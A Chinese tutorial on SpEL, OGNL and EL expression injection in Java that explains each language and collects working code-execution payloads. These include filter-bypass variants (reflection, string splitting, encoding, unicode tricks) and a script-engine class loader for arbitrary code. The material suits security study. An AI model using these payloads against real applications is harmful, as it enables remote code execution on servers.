Java表达式注入

spel基础参考:https://www.mi1k7ea.com/2020/01/10/SpEL

SpEL简介

在Spring 3中引入了Spring表达式语言(Spring Expression Language,简称SpEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于XML和基于注解的Spring配置还有bean定义一起使用。

在Spring系列产品中,SpEL是表达式计算的基础,实现了与Spring生态系统所有产品无缝对接。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码。

SpEL有许多特性:

  • 使用Bean的ID来引用Bean
  • 可调用方法和访问对象的属性
  • 可对值进行算数、关系和逻辑运算
  • 可使用正则表达式进行匹配
  • 可进行集合操作

SpEL定界符——#{}

SpEL使用#{}作为定界符,所有在大括号中的字符都将被认为是SpEL表达式,在其中可以使用SpEL运算符、变量、引用bean及其属性和方法等。

这里需要注意#{}和${}的区别:

  • #{}就是SpEL的定界符,用于指明内容未SpEL表达式并执行;
  • ${}主要用于加载外部属性文件中的值;
  • 两者可以混合使用,但是必须#{}在外面,${}在里面,如#{‘${}’},注意单引号是字符串类型才添加的;

SpEL表达式注入漏洞

漏洞原理

SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext:

  • SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
  • StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集,不包括 Java类型引用、构造函数和bean引用;而StandardEvaluationContext是支持全部SpEL语法的。

由前面知道,SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)来调用任意类方法。这是因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14


import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class MainApp {
public static void main(String[] args) throws Exception {
String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());
}
}

PoC&Bypass整理

下面我们来整理下各种利用的PoC,这里默认把定界符#{}去掉。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// PoC原型

// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")

// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()

******************************************************************************
// Bypass技巧

// 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))

// JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)

// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)

// JavaScript引擎+URL编码
// 其中URL编码内容为:
// 不加最后的getInputStream()也行,因为弹计算器不需要回显
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)

// 黑名单过滤".getClass(",可利用数组的方式绕过,还未测试成功
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')

// JDK9新增的shell,还未测试
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

CreateAscii.py,用于String类动态生成字符的字符ASCII码转换生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
message = input('Enter message to encode:')

print('Decoded string (in ASCII):\n')

print('T(java.lang.Character).toString(%s)' % ord(message[0]), end="")
for ch in message[1:]:
print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""),
print('\n')

print('new java.lang.String(new byte[]{', end=""),
print(ord(message[0]), end="")
for ch in message[1:]:
print(',%s' % ord(ch), end=""),
print(')}')

一些bypass技巧:

参考:https://boogipop.com/2023/08/06/SPEL

OGNL是什么?

先来看一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Class SchoolMaster{
String name = "wanghua";
}

Class School
{
String name = "tsinghua";
SchoolMaster schoolMaster;
}

Class Student
{
String name = "xiaoming";
School school;
}

创建实例学校school = new School()、学生student = new Student()和校长schoolMaster = new SchoolMaster(),将学校校长指定为schoolMaster实例-school.schoolMaster = schoolMaster,学生的学校指定为school实例-student.school = school,那么三者就连接起来了形成了一个对象图,对象图基本可以理解为对象之间的依赖图。通过对象图我们可以获取到对象的属性甚至对象的方法。

那么OGNL就是实现对象图导航语言,全称Object-Graph Navigation Language。通过它我们可以存取 Java对象的任意属性、调用 Java 对象的方法以及实现类型转换等。

OGNL三元素

OGNL基本使用方法示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 创建Student对象
School school = new School();
school.setName("tsinghua");
school.setSchoolMaster(new SchoolMaster("wanghua"));
Student student1 = new Student();
student1.setName("xiaoming");
student1.setSchool(school);
Student student2 = new Student();
student2.setName("zhangsan");
student2.setSchool(school);

// 创建上下文环境
OgnlContext context = new OgnlContext();
// 设置跟对象root
context.setRoot(student1);
context.put("student2", student2);
// 获取ognl的root相关值
Object name1 = Ognl.getValue("name", context, context.getRoot());
Object school1 = Ognl.getValue("school.name", context, context.getRoot());
Object schoolMaster1 = Ognl.getValue("school.schoolMaster.name", context, context.getRoot());
System.out.println(name1 + ":学校-" + school1 + ",校长-"+schoolMaster1);
// 获取ognl非root相关值
Object name2 = Ognl.getValue("#student2.name", context, context.getRoot());
Object school2 = Ognl.getValue("#student2.school.name", context, context.getRoot());
Object schoolMaster2 = Ognl.getValue("#student2.school.schoolMaster.name", context, context.getRoot());
System.out.println(name2 + ":学校-" + school2 + ",校长-"+schoolMaster2);

输出结果:

1
2
xiaoming:学校-tsinghua,校长-wanghua
zhangsan:学校-tsinghua,校长-wanghua

不难看出,OGNL getValue需要三元素:expression表达式、context上下文及root对象。那么什么是三元素:

expression表达式:表达式是整个OGNL的核心,通过表达式来告诉OGNL需要执行什么操作;
root根对象:OGNL的Root对象可以理解为OGNL的操作对象。当OGNL通过表达式规定了“干什么”以后,还需要指定对谁进行操作;
context上下文对象:context以MAP的结构、利用键值对关系来描述对象中的属性以及值,称之为OgnlContext,可以理解为对象运行的上下文环境,其实就是规定OGNL的操作在哪里。

在上面示例中,根对象是student1实例,context中设置了根对象和非根对象student2,表达式有name、school.name、school.schoolMaster.name和student2.name、#student2.school.name、student2.school.schoolMaster.name,前三个是通过表达式获取root也就是student1对象的相关属性,后三个是通过表达式获取容器变量student2对象的相关属性。

OGNL表达式语法

符号的使用:

在上一部分我们已经接触了.和#符号在表达式中的使用,通过.可以获取对象属性,#可以获取非root的Student对象。

OGNL表达式支持Java基本运算,所以运算符+、-、*、/、%等在OGNL都是支持的,另外还支持in、eq、gt等。

除了基本运算符,.、@、#在OGNL中都有特殊含义。

1、通过.获取对象的属性或方法:

1
2
3
4
5
student
student.name
student.school
student.school.name
student.takingClasses("英语")

2、三种类型对象的获取:

静态对象、静态方法和静态变量:@

1
2
@java.lang.System@getProperty("user.dir")
@java.lang.Math@abs(-111)

非原生类型对象:#

1
2
#student.name
#student.takingClasses("英语")

简单对象:直接获取

1
2
3
"string".lenth
5
true

3、%符号的用途是在标志的属性为字符串类型时,告诉执行环境%{}里的是OGNL表达式并计算表达式的值。

4、$在配置文件中引用OGNL表达式。

集合表达式:

new创建实例:

1
new java.lang.String("testnew")

{}和[]的用法:

在OGNL中,可以用{}或者它的组合来创建列表、数组和map,[]可以获取下标元素。

创建list:{value1,value2…}

1
{1,3,5}[1]

创建数组:new type[]{value1,value2…}

1
new int[]{1,3,5}[0]

创建map:#{key:value,key1:value1…}

1
#{"name":"xiaoming","school":"tsinghua"}["school"]

除了一些符号和集合,还支持Projection投影和Selection选择等,具体可参考官方文档:https://commons.apache.org/proper/commons-ognl/language-guide.html 附录Operators部分。

命令执行调试分析

通过上面表达式的学习我们很容易能够写出Java执行命令的表达式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

//使用runtime执行系统命令
@java.lang.Runtime@getRuntime().exec("calc")


//使用processbuilder执行系统命令
(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()

//使用反射调用runtime执行系统命令
${(#runtimeclass=#this.getClass().forName("java.lang.Runtime")).(#getruntimemethod=#runtimeclass.getDeclaredMethods([7]).(#rtobj=#getruntimemethod.invoke(null,null)).(#execmethod=#runtimeclass.getDeclaredMethods([14]).(#execmethod.invoke(#rtobj,"cmd"))}

//使用Jshell执行java代码(jdk9及以后)
@jdk.jshell.Jshell@create().eval('code');

关键字绕过

假如题目中对用户的输入进行了关键字的黑名单(以new为例),那么实际上我们可以使用unicode字符进行绕过:

1
2
String str = "(\u006eew java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()";
Ognl.getValue(str, null);

那么假如存在一个正则表达式\u\d{4},将对应的unicode先解析了一遍,再进行黑名单,还有方法绕过吗?实际上这里又存在一个trick,即\uxxxx中的u是可以写一个或多个的,具体原因在于ognl.JavaCharStream#readChar方法中:

所以上述OGNL表达式可以改写为:

1
2
3
String str = "(\uuuuuuuuuuuuuuuu006eew java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()";
Ognl.getValue(str, null);

参考:https://xz.aliyun.com/t/10482

https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/OGNL/

https://paper.seebug.org/794/#0x03-ognl

https://www.freebuf.com/vuls/168609.html

https://chenlvtang.top/2022/08/11/Java%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E4%B9%8BOGNL/

EL简介

EL(Expression Language) 是为了使JSP写起来更加简单。表达式语言的灵感来自于 ECMAScript 和 XPath 表达式语言,它提供了在 JSP 中简化表达式的方法,让Jsp的代码更加简化。

EL表达式主要功能如下:

  • 获取数据:EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象,访问JavaBean的属性、访问List集合、访问Map集合、访问数组);
  • 执行运算:利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算,例如${user==null};
  • 获取Web开发常用对象:EL表达式定义了一些隐式对象,利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用,从而获得这些对象中的数据;
  • 调用Java方法:EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法;

基本语法

EL语法

在JSP中访问模型对象是通过EL表达式的语法来表达。所有EL表达式的格式都是以${}表示。例如,${ userinfo}代表获取变量userinfo的值。当EL表达式中的变量不给定范围时,则默认在page范围查找,然后依次在request、session、application范围查找。也可以用范围作为前缀表示属于哪个范围的变量,例如:${ pageScope. userinfo}表示访问page范围中的userinfo变量。

简单地说,使用EL表达式语法:${EL表达式}

其中,EL表达式和JSP代码等价转换。事实上,可以将EL表达式理解为一种简化的JSP代码。

扩展JSP代码的写法总结:

  • JSP表达式:<%=变量或表达式>向浏览器输出变量或表达式的计算结果。
  • JSP脚本:<%Java代码%>执行java代码的原理:翻译到_jspService()方法中。
  • JSP声明:<%!变量或方法%>声明jsp的成员变量或成员方法。
  • JSP注释:<%!–JSP注释–%>用于注释JSP代码,不会翻译到Java文件中,也不会执行。

[ ]与.运算符

EL表达式提供.和[]两种运算符来存取数据。

当要存取的属性名称中包含一些特殊字符,如.或-等并非字母或数字的符号,就一定要使用[]。例如:${user.My-Name}应当改为${user[“My-Name”]}。

如果要动态取值时,就可以用[]来做,而.无法做到动态取值。例如:${sessionScope.user[data]}中data 是一个变量。

变量

EL表达式存取变量数据的方法很简单,例如:${username}。它的意思是取出某一范围中名称为username的变量。因为我们并没有指定哪一个范围的username,所以它会依序从Page、Request、Session、Application范围查找。假如途中找到username,就直接回传,不再继续找下去,但是假如全部的范围都没有找到时,就回传””。EL表达式的属性如下:

属性范围在EL中的名称
Page PageScope
Request RequestScope
Session SessionScope
Application ApplicationScope

JSP表达式语言定义可在表达式中使用的以下文字:

文字 文字的值
Boolean true 和 false
Integer 与 Java 类似。可以包含任何整数,例如 24、-45、567
Floating Point 与 Java 类似。可以包含任何正的或负的浮点数,例如 -1.8E-45、4.567
String 任何由单引号或双引号限定的字符串。对于单引号、双引号和反斜杠,使用反斜杠字符作为转义序列。必须注意,如果在字符串两端使用双引号,则单引号不需要转义。
Null null

操作符

JSP表达式语言提供以下操作符,其中大部分是Java中常用的操作符:

术语 定义
算术型 +、-(二元)、*、/、div、%、mod、-(一元)
逻辑型 and、&&、or、双管道符、!、not
关系型 ==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较,或与布尔型、字符串型、整型或浮点型文字进行比较。
empty 空操作符是前缀操作,可用于确定值是否为空。
条件型 A ?B :C。根据 A 赋值的结果来赋值 B 或 C。

隐式对象

JSP表达式语言定义了一组隐式对象,其中许多对象在 JSP scriplet 和表达式中可用:

术语 定义
pageContext JSP页的上下文,可以用于访问 JSP 隐式对象,如请求、响应、会话、输出、servletContext 等。例如,${pageContext.response}为页面的响应对象赋值。

此外,还提供几个隐式对象,允许对以下对象进行简易访问:

术语 定义
param 将请求参数名称映射到单个字符串参数值(通过调用 ServletRequest.getParameter (String name) 获得)。getParameter (String) 方法返回带有特定名称的参数。表达式${param . name}相当于 request.getParameter (name)。
paramValues 将请求参数名称映射到一个数值数组(通过调用 ServletRequest.getParameter (String name) 获得)。它与 param 隐式对象非常类似,但它检索一个字符串数组而不是单个值。表达式 ${paramvalues. name} 相当于 request.getParamterValues(name)。
header 将请求头名称映射到单个字符串头值(通过调用 ServletRequest.getHeader(String name) 获得)。表达式 ${header. name} 相当于 request.getHeader(name)。
headerValues 将请求头名称映射到一个数值数组(通过调用 ServletRequest.getHeaders(String) 获得)。它与头隐式对象非常类似。表达式${headerValues. name}相当于 request.getHeaderValues(name)。
cookie 将 cookie 名称映射到单个 cookie 对象。向服务器发出的客户端请求可以获得一个或多个 cookie。表达式${cookie. name .value}返回带有特定名称的第一个 cookie 值。如果请求包含多个同名的 cookie,则应该使用${headerValues. name}表达式。
initParam 将上下文初始化参数名称映射到单个值(通过调用 ServletContext.getInitparameter(String name) 获得)。

除了上述两种类型的隐式对象之外,还有些对象允许访问多种范围的变量,如 Web 上下文、会话、请求、页面:

术语 定义
pageScope 将页面范围的变量名称映射到其值。例如,EL 表达式可以使用${pageScope.objectName}访问一个 JSP 中页面范围的对象,还可以使用${pageScope .objectName. attributeName}访问对象的属性。
requestScope 将请求范围的变量名称映射到其值。该对象允许访问请求对象的属性。例如,EL 表达式可以使用${requestScope. objectName}访问一个 JSP 请求范围的对象,还可以使用${requestScope. objectName. attributeName}访问对象的属性。
sessionScope 将会话范围的变量名称映射到其值。该对象允许访问会话对象的属性。例如:${sessionScope. name}
applicationScope 将应用程序范围的变量名称映射到其值。该隐式对象允许访问应用程序范围的对象。

pageContext对象

pageContext对象是JSP中pageContext对象的引用。通过pageContext对象,您可以访问request对象。比如,访问request对象传入的查询字符串,就像这样:

1
${pageContext.request.queryString}

Scope对象

pageScope,requestScope,sessionScope,applicationScope变量用来访问存储在各个作用域层次的变量。

举例来说,如果您需要显式访问在applicationScope层的box变量,可以这样来访问:applicationScope.box。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<% 
pageContext.setAttribute("name","mi1k7ea_page");
request.setAttribute("name","mi1k7ea_request");
session.setAttribute("user","mi1k7ea_session");
application.setAttribute("user","mi1k7ea_application");
%>

pageScope.name:${pageScope.name}
</br>
requestScope.name : ${requestScope.name}
</br>
sessionScope.user : ${sessionScope.user}
</br>
applicationScope.user : ${applicationScope.user}

param和paramValues对象

param和paramValues对象用来访问参数值,通过使用request.getParameter方法和request.getParameterValues方法。

举例来说,访问一个名为order的参数,可以这样使用表达式:${param.order},或者${param[“order”]}。

接下来的例子表明了如何访问request中的username参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<%@ page import="java.io.*,java.util.*" %>
<%
String title = "Accessing Request Param";
%>
<html>
<head>
<title><% out.print(title); %></title>
</head>
<body>
<center>
<h1><% out.print(title); %></h1>
</center>
<div align="center">
<p>${param["username"]}</p>
</div>
</body>
</html>

param对象返回单一的字符串,而paramValues对象则返回一个字符串数组。

header和headerValues对象

header和headerValues对象用来访问信息头,通过使用request.getHeader()方法和request.getHeaders()方法。

举例来说,要访问一个名为user-agent的信息头,可以这样使用表达式:${header.user-agent},或者${header[“user-agent”]}。

接下来的例子表明了如何访问user-agent信息头:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<%@ page import="java.io.*,java.util.*" %>
<%
String title = "User Agent Example";
%>
<html>
<head>
<title><% out.print(title); %></title>
</head>
<body>
<center>
<h1><% out.print(title); %></h1>
</center>
<div align="center">
<p>${header["user-agent"]}</p>
</div>
</body>
</html>

header对象返回单一值,而headerValues则返回一个字符串数组。

JSP中启动/禁用EL表达式

全局禁用EL表达式

web.xml中进入如下配置:

1
2
3
4
5
6
<jsp-config>
<jsp-property-group>
<url-pattern>*.jsp</url-pattern>
<el-ignored>true</el-ignored>
</jsp-property-group>
</jsp-config>

单个文件禁用EL表达式

在JSP文件中可以有如下定义:

1
<%@ page isELIgnored="true" %>

该语句表示是否禁用EL表达式,TRUE表示禁止,FALSE表示不禁止。

EL表达式注入漏洞

EL表达式注入漏洞和SpEL、OGNL等表达式注入漏洞是一样的漏洞原理的,即表达式外部可控导致攻击者注入恶意表达式实现任意代码执行。

一般的,EL表达式注入漏洞的外部可控点入口都是在Java程序代码中,即Java程序中的EL表达式内容全部或部分是从外部获取的。

通用PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}

//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

//文件头参数
${header}

//获取webRoot
${applicationScope}

//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}

比如我们在Java程序中可以控制输入EL表达式如下:

1
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

如果该EL表达式直接在JSP页面中执行,则触发任意代码执行漏洞:

但是在实际场景中,是几乎没有也无法直接从外部控制JSP页面中的EL表达式的。而目前已知的EL表达式注入漏洞都是框架层面服务端执行的EL表达式外部可控导致的。

绕过方法

这里针对前面在Java代码中注入EL表达式的例子来演示。其实绕过方法和SpEL表达式注入是一样的。

利用反射机制绕过

即前面Demo的PoC,注意一点的就是这里不支持用字符串拼接的方式绕过关键字过滤。

利用ScriptEngine调用JS引擎绕过

同SpEL注入中讲到的:

1
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")}

无回显执行命令

可能大家最常见到的就是执行命令的payload,由于el表达式不能执行new等操作,所以需要用反射来构造。

样例如下:

1
code=${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe")}

或者是借助js引擎

1
code=${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("new+java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()")}

不过两者都是无回显的,不优雅。

有回显执行命令

最早看到的有回显相关的研究是在这篇文章:https://forum.butian.net/share/886,写的非常好,最后的payload如下:

1
${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("cmd /c dir").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inputStreamAvailable", pageContext.getAttribute("inputStream").available());pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateMethod", pageContext.getAttribute("byteBufferClass").getMethod("allocate", Integer.TYPE));pageContext.setAttribute("heapByteBuffer", pageContext.getAttribute("allocateMethod").invoke(null, pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribute("inputStream").read(pageContext.getAttribute("heapByteBuffer").array(), 0, pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribute("byteArrType", pageContext.getAttribute("heapByteBuffer").array().getClass());pageContext.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor", pageContext.getAttribute("stringClass").getConstructor(pageContext.getAttribute("byteArrType")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes")}

由于EL表达式不支持直接赋值以及new对象,所以需要用到pageContext.getAttribute跟pageContext.setAttribute来间接实现变量的传递,导致payload写起来非常的麻烦,也非常的臃肿。

所以我们换一种思路,不再使用EL自身的语法,而是在js引擎中实现我们的逻辑。

经过简化后,我们的payload如下:

1
${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var s = [3];s[0] = \"cmd\";s[1] = \"/c\";s[2] = \"whoami\";var p = java.lang.Runtime.getRuntime().exec(s);var sc = new java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\\\A\");var result = sc.hasNext() ? sc.next() : \"\";sc.close();result;")}

任意代码执行

在这里我们同样可以借助js引擎调用defineClass来实现任意代码执行的操作:

1
code=${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval(pageContext.request.getParameter("ant"))}

ant参数内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);
function Base64DecodeToByte(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var bt;
try {
bt = new BASE64Decoder().decodeBuffer(str);
} catch (e) {
bt = Base64().getDecoder().decode(str);
}
return bt;
}
function define(Classdata, cmd) {
var classBytes = Base64DecodeToByte(Classdata);
var byteArray = Java.type("byte[]");
var int = Java.type("int");
var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
"defineClass",
byteArray.class,
int.class,
int.class
);
defineClassMethod.setAccessible(true);
var cc = defineClassMethod.invoke(
Thread.currentThread().getContextClassLoader(),
classBytes,
0,
classBytes.length
);
return cc.getConstructor(java.lang.String.class).newInstance(cmd);
}
define(
"yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIAGA==",
"calc"
);